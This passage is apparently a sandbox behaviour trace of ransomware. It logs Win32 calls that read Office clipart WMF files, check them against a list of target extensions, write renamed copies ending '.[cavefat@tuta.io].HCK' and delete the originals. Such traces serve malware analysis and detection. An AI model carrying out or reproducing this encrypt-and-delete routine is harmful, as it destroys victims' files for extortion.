SetEndOfFile (hFile=0x398) returned 1 [0169.223] CloseHandle (hObject=0x398) returned 1 [0169.227] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.227] SetEndOfFile (hFile=0x388) returned 1 [0169.231] CloseHandle (hObject=0x388) returned 1 [0169.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 1 [0169.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.238] lstrlenW (lpString=".doc") returned 4 [0169.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString=".docx") returned 5 [0169.238] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.238] lstrlenW (lpString=".pdf") returned 4 [0169.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString=".xls") returned 4 [0169.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.238] lstrlenW (lpString=".xlsx") returned 5 [0169.238] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.238] lstrlenW (lpString=".ppt") returned 4 [0169.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.238] lstrlenW (lpString=".zip") returned 4 [0169.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.238] lstrlenW (lpString=".rar") returned 4 [0169.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString=".bz2") returned 4 [0169.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString=".7z") returned 3 [0169.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.238] lstrlenW (lpString=".dbf") returned 4 [0169.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.238] lstrlenW (lpString=".1cd") returned 4 [0169.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.238] lstrlenW (lpString=".jpg") returned 4 [0169.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.238] lstrlenW (lpString=".doc") returned 4 [0169.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString=".docx") returned 5 [0169.238] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.238] lstrlenW (lpString=".pdf") returned 4 [0169.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.238] lstrlenW (lpString=".xls") returned 4 [0169.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.238] lstrlenW (lpString=".xlsx") returned 5 [0169.238] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.238] lstrlenW (lpString=".ppt") returned 4 [0169.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.239] lstrlenW (lpString=".zip") returned 4 [0169.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.239] lstrlenW (lpString=".rar") returned 4 [0169.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.239] lstrlenW (lpString=".bz2") returned 4 [0169.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.239] lstrlenW (lpString=".7z") returned 3 [0169.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.239] lstrlenW (lpString=".dbf") returned 4 [0169.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.239] lstrlenW (lpString=".1cd") returned 4 [0169.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68 [0169.239] lstrlenW (lpString=".jpg") returned 4 [0169.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.239] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.239] lstrlenW (lpString="J0157177.WMF") returned 12 [0169.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.244] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=21716) returned 1 [0169.244] CloseHandle (hObject=0x368) returned 1 [0169.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 0x220 [0169.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.252] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.252] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0169.258] GetLastError () returned 0x0 [0169.258] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x54d4, lpOverlapped=0x0) returned 1 [0169.260] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x54e0, lpOverlapped=0x0) returned 1 [0169.261] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.261] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.261] SetEndOfFile (hFile=0x308) returned 1 [0169.262] CloseHandle (hObject=0x308) returned 1 [0169.263] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.263] SetEndOfFile (hFile=0x2ec) returned 1 [0169.275] CloseHandle (hObject=0x2ec) returned 1 [0169.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 1 [0169.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.277] lstrlenW (lpString=".doc") returned 4 [0169.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.277] lstrlenW (lpString=".docx") returned 5 [0169.277] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.277] lstrlenW (lpString=".pdf") returned 4 [0169.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.277] lstrlenW (lpString=".xls") returned 4 [0169.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.278] lstrlenW (lpString=".xlsx") returned 5 [0169.278] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.278] lstrlenW (lpString=".ppt") returned 4 [0169.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.278] lstrlenW (lpString=".zip") returned 4 [0169.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.278] lstrlenW (lpString=".rar") returned 4 [0169.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString=".bz2") returned 4 [0169.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString=".7z") returned 3 [0169.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.278] lstrlenW (lpString=".dbf") returned 4 [0169.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.278] lstrlenW (lpString=".1cd") returned 4 [0169.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.278] lstrlenW (lpString=".jpg") returned 4 [0169.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.278] lstrlenW (lpString=".doc") returned 4 [0169.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString=".docx") returned 5 [0169.278] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.278] lstrlenW (lpString=".pdf") returned 4 [0169.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString=".xls") returned 4 [0169.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.278] lstrlenW (lpString=".xlsx") returned 5 [0169.278] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.278] lstrlenW (lpString=".ppt") returned 4 [0169.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.278] lstrlenW (lpString=".zip") returned 4 [0169.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.278] lstrlenW (lpString=".rar") returned 4 [0169.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString=".bz2") returned 4 [0169.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString=".7z") returned 3 [0169.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.279] lstrlenW (lpString=".dbf") returned 4 [0169.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.279] lstrlenW (lpString=".1cd") returned 4 [0169.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0169.279] lstrlenW (lpString=".jpg") returned 4 [0169.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.279] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.279] lstrlenW (lpString="J0158477.WMF") returned 12 [0169.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.287] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17966) returned 1 [0169.287] CloseHandle (hObject=0x368) returned 1 [0169.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 0x220 [0169.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.300] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.300] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.305] GetLastError () returned 0x0 [0169.305] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x462e, lpOverlapped=0x0) returned 1 [0169.307] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4630, lpOverlapped=0x0) returned 1 [0169.308] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.308] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.308] SetEndOfFile (hFile=0x330) returned 1 [0169.309] CloseHandle (hObject=0x330) returned 1 [0169.311] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.311] SetEndOfFile (hFile=0x398) returned 1 [0169.314] CloseHandle (hObject=0x398) returned 1 [0169.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0158477.wmf")) returned 1 [0169.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.324] lstrlenW (lpString=".doc") returned 4 [0169.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.324] lstrlenW (lpString=".docx") returned 5 [0169.324] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.324] lstrlenW (lpString=".pdf") returned 4 [0169.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.324] lstrlenW (lpString=".xls") returned 4 [0169.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.324] lstrlenW (lpString=".xlsx") returned 5 [0169.324] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.324] lstrlenW (lpString=".ppt") returned 4 [0169.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.324] lstrlenW (lpString=".zip") returned 4 [0169.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.324] lstrlenW (lpString=".rar") returned 4 [0169.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString=".bz2") returned 4 [0169.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString=".7z") returned 3 [0169.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.325] lstrlenW (lpString=".dbf") returned 4 [0169.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.325] lstrlenW (lpString=".1cd") returned 4 [0169.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.325] lstrlenW (lpString=".jpg") returned 4 [0169.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.325] lstrlenW (lpString=".doc") returned 4 [0169.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString=".docx") returned 5 [0169.325] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.325] lstrlenW (lpString=".pdf") returned 4 [0169.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString=".xls") returned 4 [0169.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.325] lstrlenW (lpString=".xlsx") returned 5 [0169.325] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.325] lstrlenW (lpString=".ppt") returned 4 [0169.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.325] lstrlenW (lpString=".zip") returned 4 [0169.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.325] lstrlenW (lpString=".rar") returned 4 [0169.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString=".bz2") returned 4 [0169.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString=".7z") returned 3 [0169.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.325] lstrlenW (lpString=".dbf") returned 4 [0169.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.325] lstrlenW (lpString=".1cd") returned 4 [0169.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68 [0169.325] lstrlenW (lpString=".jpg") returned 4 [0169.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.325] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.325] lstrlenW (lpString="J0168644.WMF") returned 12 [0169.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.339] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=20906) returned 1 [0169.339] CloseHandle (hObject=0x330) returned 1 [0169.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 0x220 [0169.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.349] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.349] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.356] GetLastError () returned 0x0 [0169.356] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x51aa, lpOverlapped=0x0) returned 1 [0169.364] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0169.365] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.365] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.365] SetEndOfFile (hFile=0x2ec) returned 1 [0169.366] CloseHandle (hObject=0x2ec) returned 1 [0169.368] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.368] SetEndOfFile (hFile=0x388) returned 1 [0169.371] CloseHandle (hObject=0x388) returned 1 [0169.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 